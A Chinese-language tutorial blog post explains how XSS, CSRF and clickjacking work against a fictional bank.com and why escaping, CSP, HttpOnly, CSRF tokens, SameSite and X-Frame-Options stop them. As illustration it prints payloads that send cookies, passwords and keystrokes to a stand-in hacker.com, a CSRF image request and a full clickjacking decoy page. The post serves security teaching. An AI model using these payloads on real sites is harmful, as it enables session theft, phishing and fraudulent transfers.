浅析XSS、CSRF、点击劫持为什么有安全问题及其各自预防措施为什么可有效预防

一、XSS 深度讲解:为什么能执行请求?

1、核心原理:你的页面执行了别人的代码

  CSRF 是"借你身份发请求",XSS 更狠——> 攻击者的代码直接在你的浏览器里运行,拥有和你一样的权限。

2、关键前提:浏览器的同源信任

  浏览器有一个信念:

在 bank.com 页面上运行的 JS 代码
= 就是 bank.com 官方的代码
= 可以读取 bank.com 的 Cookie、DOM、表单数据

  XSS 就是打破这个假设——让攻击者的脚本以 bank.com 的身份运行。

3、存储型 XSS 完整攻击过程

  场景:银行网站有个"留言/备注"功能,可以写文字保存。

(1)第一步:攻击者注入恶意脚本

攻击者在银行网站的"备注"输入框里输入:
<script>
  // 把你的 Cookie 发给我的服务器
  fetch('https://hacker.com/steal?c=' + document.cookie)
</script>

  银行服务器没有过滤,直接把这段文字存进数据库

(2)第二步:你打开了那个页面

  你登录银行,查看"留言记录",浏览器收到服务器返回的 HTML:

<div class="message">
  <!-- 本来应该显示文字,结果变成了可执行的脚本 -->
  <script>
    fetch('https://hacker.com/steal?c=' + document.cookie)
  </script>
</div>

(3)第三步:你的浏览器执行了这段脚本

浏览器认为:这是 bank.com 页面里的代码,可以信任
    ↓
脚本执行:读取 document.cookie
    ↓
获取到:session=abc123(你的登录凭证)
    ↓
发送到:https://hacker.com/steal?c=session=abc123
    ↓
攻击者拿到你的 Cookie → 直接用它登录你的账号

  你什么都没做,只是"看了一下页面"。

4、XSS 能做的远不止偷 Cookie

  攻击者的脚本在你页面里运行,能做一切你能做的事:

// 1. 直接调用转账接口(比 CSRF 更直接!)
fetch('https://bank.com/transfer', {
  method: 'POST',
  credentials: 'include',  // 自动带上 Cookie
  body: JSON.stringify({ to: 'hacker', amount: 10000 })
})
// 注意:这是从 bank.com 页面内发出的请求,不是跨域!
// CSRF Token 也没用——脚本可以先读取页面上的 token 再带上

// 2. 伪造登录表单,骗取账号密码
document.body.innerHTML = `
  <div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999">
    <h2>您的登录已过期,请重新输入密码</h2>
    <input id="pwd" type="password" placeholder="请输入密码">
    <button onclick="steal()">确认</button>
  </div>
`
function steal() {
  fetch('https://hacker.com/pwd?p=' + document.getElementById('pwd').value)
}

// 3. 键盘监听,记录你输入的一切
document.addEventListener('keydown', (e) => {
  fetch('https://hacker.com/key?k=' + e.key)
})

  XSS 比 CSRF 危险在于:CSRF Token 挡不住 XSS——脚本可以先读取页面里的 token,再带着它发请求,完美绕过。

5、为什么"转义"能防住 XSS?

// 用户输入了:<script>alert('xss')</script>
// ❌ 直接渲染 → 变成可执行代码
element.innerHTML = userInput

// ✅ 转义后渲染 → 变成普通文字显示
// <  →  &lt;
// >  →  &gt;
element.innerHTML = userInput
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
// 浏览器显示:<script>alert('xss')</script>(当文字展示,不执行)

  转义的本质:让浏览器把 <script> 当成"要显示的文字",而不是"要执行的代码"。

6、为什么 CSP 能防 XSS?

  先理解:XSS 脚本从哪里来?XSS 注入的脚本有两种形态:

<!-- 形态1:内联脚本(直接写在 HTML 里) -->
<script>fetch('https://hacker.com?c=' + document.cookie)</script>

<!-- 形态2:外联脚本(从外部加载) -->
<script src="https://hacker.com/evil.js"></script>

  CSP 的本质:给浏览器一份"白名单"。服务器通过响应头告诉浏览器:

Content-Security-Policy: default-src 'self'; script-src 'self'

  意思是:

default-src 'self'  → 所有资源默认只能从"我自己的域名"加载
script-src 'self'   → JS 脚本只能从"我自己的域名"加载
                      外部域名的脚本?不执行!
                      页面内直接写的 <script>?不执行!

  CSP 如何拦截 XSS 的两种形态?

1、拦截外联脚本
<!-- 攻击者注入了这个 -->
<script src="https://hacker.com/evil.js"></script>
<!-- 浏览器加载前检查 CSP 白名单:
     hacker.com 不在白名单里 → 直接拒绝加载 ✅ -->

2、拦截内联脚本
<!-- 攻击者注入了这个 -->
<script>document.cookie // 发给黑客</script>
<!-- 浏览器看到内联脚本 → 检查 CSP:
     没有 'unsafe-inline' 声明 → 不执行!✅ -->

  一个关键细节

  你可能会问:既然 CSP 连内联脚本都能拦截,那正常网站自己写的 <script> 岂不也被拦了?是的! 所以开启 CSP 后,正规的做法是:

<!-- ❌ 不能再这样写了 -->
<button onclick="handleClick()">点我</button>
<script>function handleClick() { ... }</script>

<!-- ✅ 要改成外联文件的方式 -->
<script src="/js/app.js"></script>  <!-- 来自自己域名,白名单放行 ✅ -->

  这正是 CSP 的强大之处:它迫使开发者把所有脚本放到独立文件里,攻击者注入的内联脚本就没有"藏身之地"了。

  CSP 拦截流程图

浏览器准备执行一段脚本
        ↓
检查这段脚本的来源
        ↓
    ┌───────────────────────────────────────┐
    │ 来自 self(自己域名的 .js 文件)?        │ → 允许执行 ✅
    │ 内联 <script> 标签?                    │ → 拒绝执行 ❌
    │ 来自 hacker.com 的外部文件?             │ → 拒绝执行 ❌
    └───────────────────────────────────────┘

  即使 XSS 注入成功(脚本已经出现在 HTML 里),CSP 也能阻止脚本被执行。 这是 CSP 的价值所在——最后一道防线。

7、为什么 HttpOnly Cookie 能防 XSS?

  先回顾:XSS 偷 Cookie 的方式

// XSS 注入的脚本执行后,第一件事就是:
fetch('https://hacker.com/steal?c=' + document.cookie)
////                              读取所有 Cookie

  document.cookie 是浏览器提供给 JS 读取 Cookie 的 API。

  HttpOnly 的本质:对 JS 隐藏这个 Cookie

  服务器设置 Cookie 时加上 HttpOnly:
Set-Cookie: token=abc123; HttpOnly

  效果:

// 正常 Cookie(没有 HttpOnly)
document.cookie  // 输出: "token=abc123; other=xxx"

// HttpOnly Cookie
document.cookie  // 输出: "other=xxx"
// token 完全消失!JS 看不见它!

  浏览器内部发生了什么?

服务器返回:Set-Cookie: token=abc123; HttpOnly
    ↓
浏览器把 token 存起来,并贴上标签:[仅 HTTP 可用]
    ↓
    ┌─────────────────────────────────────────┐
    │  JS 代码尝试读取 document.cookie        │
    │  浏览器检查每个 Cookie 的标签           │
    │  → token 有 [仅 HTTP 可用] 标签         │
    │  → 把它从 document.cookie 结果中排除    │
    └─────────────────────────────────────────┘
    ↓
攻击者的脚本:document.cookie → 拿不到 token ✅
    ↓
但!浏览器发 HTTP 请求时,会自动带上所有 Cookie(包括 HttpOnly 的)
→ 正常业务不受影响
Cookie 存储空间
┌─────────────────────────────────────────────┐
│  token=abc123    [HttpOnly 标记]            │
│  theme=dark                                 │
│  lang=zh-CN                                 │
└─────────────────────────────────────────────┘
        ↑                   ↑
   JS 读不到              HTTP 请求照常带上
   (攻击者偷不走)          (正常业务不影响)

  HttpOnly 的局限性:HttpOnly 只能防 Cookie 被偷,但 XSS 脚本还能做其他坏事:

// Cookie 偷不走,但还能:
// 1. 直接发接口请求(带着 Cookie,浏览器自动加)
fetch('/transfer', { method: 'POST', credentials: 'include', ... })

// 2. 修改页面 DOM,钓鱼骗密码
document.body.innerHTML = '<假登录框>'

// 3. 监听键盘输入
document.addEventListener('keydown', ...)

  所以 HttpOnly + CSP 要配合使用:

  • HttpOnly → 防 Cookie 被偷走
  • CSP → 直接阻止恶意脚本执行

  两者的关系:

XSS 攻击链:
注入脚本 → 脚本执行 → 偷 Cookie → 拿走 token → 冒充用户

CSP 切断:   ↑
             阻止脚本执行(治本)

HttpOnly 切断:              ↑
                             就算脚本执行,也偷不走 token(治标)

  CSP 是治本,HttpOnly 是兜底。两道防线同时存在,才是完整的防御

二、CSRF 深度讲解:为什么能"伪造"请求?

1、先理解一个关键前提:Cookie 的自动携带机制。这是 CSRF 能成立的根本原因。

  浏览器有一个默认行为:只要你向某个域名发请求,浏览器会自动把该域名下的 Cookie 带上——不管这个请求是从哪个页面发出来的。

你登录了 bank.com
    ↓
浏览器存了 Cookie: session=abc123(代表你的身份)
    ↓
此后任何页面,只要发请求到 bank.com
    ↓
浏览器自动携带 Cookie: session=abc123
    ↓
银行服务器看到 Cookie → 认为是你本人操作

2、完整攻击过程(逐步拆解)

(1)第一步:你正常登录银行

你 → 打开 bank.com → 输入账号密码 → 登录成功
银行服务器 → 返回 Set-Cookie: session=abc123
浏览器 → 把 session=abc123 存起来

  此时你的浏览器里有一个有效的登录凭证。

(2)第二步:攻击者构造恶意页面

  攻击者知道银行的转账接口长这样:GET https://bank.com/transfer?to=黑客账号&amount=10000

  于是他做了一个钓鱼网站,里面放了:

<!-- 看起来是一张图片,实际是一个 HTTP 请求 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />

(3)第三步:诱导你访问恶意页面

  攻击者发你一条消息:"点击领取优惠券 🎁 → http://evil.com/coupon"

  你点开了,这个页面在你浏览器里加载……

(4)第四步:浏览器自动完成攻击

evil.com 页面加载
    ↓
浏览器发现要请求 bank.com/transfer
    ↓
浏览器自动查找 bank.com 的 Cookie
    ↓
找到了!session=abc123(你之前登录留下的)
    ↓
自动携带 Cookie 发出请求:
GET https://bank.com/transfer?to=hacker&amount=10000
Cookie: session=abc123
    ↓
银行服务器验证 Cookie 有效 → 认为是你本人操作
    ↓
转账成功 💸

  你全程什么都没做,只是打开了一个网页。

3、为什么银行服务器"认不出"这是伪造的?

  因为银行服务器只会检查

✅ Cookie 有没有?  → 有(浏览器自动带的)
✅ Cookie 是否有效?→ 有效(你确实登录了)
❌ 这个请求是不是从我自己的页面发出来的?→ 没检查!

  这就是问题所在:服务器只验证了"身份",没有验证"意图来源"。

4、CSRF Token 为什么能防住?

  原理:在请求里加一个攻击者无法获得的随机值。

你打开 bank.com 转账页面
    ↓
服务器生成随机 token: csrf_token=xyz789
把它放在表单隐藏字段里(或响应头里)
    ↓
你提交转账时,必须携带这个 token:
POST /transfer
Cookie: session=abc123       ← 浏览器自动带
Body: to=xxx&amount=100&csrf_token=xyz789  ← 必须主动带
    ↓
服务器验证 csrf_token 是否匹配 → 匹配才执行

  攻击者的页面拿不到这个 token(跨域读取被同源策略阻止),所以伪造的请求里没有有效 token,银行拒绝执行。

evil.com 发出的请求:
POST /transfer
Cookie: session=abc123       ← 浏览器自动带(攻击者得逞)
Body: to=hacker&amount=10000 ← 没有 csrf_token!
    ↓
服务器:token 对不上 → 拒绝请求 ✅

5、SameSite Cookie 为什么也能防住?

  现代浏览器的 SameSite 属性直接在源头切断:

Set-Cookie: session=abc123; SameSite=Strict

  效果:

从 evil.com 发向 bank.com 的请求
    ↓
浏览器:这是跨站请求,SameSite=Strict 的 Cookie 不带!
    ↓
请求到达银行:没有 Cookie → 未登录状态 → 拒绝

6、一句话总结

  CSRF 的本质是浏览器的"热心肠":它太积极地帮你带 Cookie 了,连跨站请求也带。攻击者正是利用了这一点,借你的"通行证"做坏事。

  防御核心:让服务器能区分"用户主动发的请求"和"被人借用身份发的请求"——CSRF Token 和 SameSite Cookie 都是在做这件事

三、点击劫持(Clickjacking)

1、核心原理:你以为点了 A,实际点了 B

  攻击者把真实网站"套"在自己页面上,设为透明,让你在不知情的情况下点击了真实网站的按钮。

2、完整攻击过程

(1)第一步:攻击者分析目标

  攻击者发现银行转账确认页面:https://bank.com/confirm-transfer?to=hacker&amount=10000,打开后只有一个按钮:"确认转账"。

(2)第二步:构造诱饵页面

<!DOCTYPE html>
<html>
<head>
<style>
  /* 诱饵:一个游戏页面,有个"领取奖励"按钮 */
  .fake-btn {
    position: absolute;
    top: 200px;
    left: 150px;
    z-index: 1;               /* 在下面,你能看见 */
    font-size: 20px;
    padding: 12px 24px;
    background: #ff6600;
    color: white;
    border-radius: 8px;
  }

  /* 真实银行 iframe:透明覆盖在按钮上方 */
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0;               /* 完全透明,你看不见! */
    z-index: 2;               /* 在上面,实际接收点击 */
  }
</style>
</head>
<body>
  <h1>🎮 恭喜!你已获得游戏大奖!</h1>
  <button class="fake-btn">点击领取 ¥188 奖励</button>

  <!-- 你以为在点"领取奖励",实际点的是这个 -->
  <iframe src="https://bank.com/confirm-transfer?to=hacker&amount=10000">
  </iframe>
</body>
</html>

(3)第三步:你访问并点击

你打开了诱饵页面
    ↓
你看到:一个游戏页面 + 橙色"领取奖励"按钮
(你看不见银行 iframe,它是透明的)
    ↓
你点击"领取奖励"
    ↓
实际上:你的点击穿透了诱饵层,落在透明 iframe 上
    ↓
iframe 里是银行的"确认转账"按钮,刚好对齐
    ↓
因为你已登录银行(Cookie 有效)
    ↓
银行执行转账:¥10000 → 黑客账号 💸

3、为什么 X-Frame-Options 能防住?

  注意是银行网页设置自己不能被嵌套。

  银行服务器在响应里加这个头X-Frame-Options: DENY,浏览器收到后:

浏览器加载 iframe src="https://bank.com/..."
    ↓
收到响应头:X-Frame-Options: DENY
    ↓
浏览器:这个页面不允许被嵌套!拒绝渲染 iframe
    ↓
攻击者的页面里:iframe 一片空白
    ↓
攻击失败 ✅

四、XSS vs CSRF vs 点击劫持 对比


XSS
CSRF点击劫持
攻击手段 注入脚本在目标站执行 借 Cookie 跨站发请求 透明 iframe 诱导误点
需要用户交互 不一定(访问页面就触发) 不一定(加载图片就触发) 需要用户点击
能否绕过 CSRF Token 能(脚本直接读取 token) 不能 能(用户本人点的)
Cookie 的角色 被直接偷走 被自动携带 被正常使用(用户点击)
核心防御 转义输出 + CSP + httpOnly cookie防盗 CSRF Token + SameSite X-Frame-Options

   三句话总结

  • XSS:攻击者的代码"住进了"你的页面,拥有你的一切权限,直接为所欲为
  • CSRF:攻击者不需要进你家,只需要在门口喊一声,浏览器这个"忠实管家"就自动带着你的钥匙去开门
  • 点击劫持:攻击者在你的手和真实按钮之间放了一块"玻璃",你以为在摸玻璃上的画,实际摁的是玻璃后面的按钮
posted @ 2017-11-16 15:10  古兰精  阅读(281)  评论(0)    收藏  举报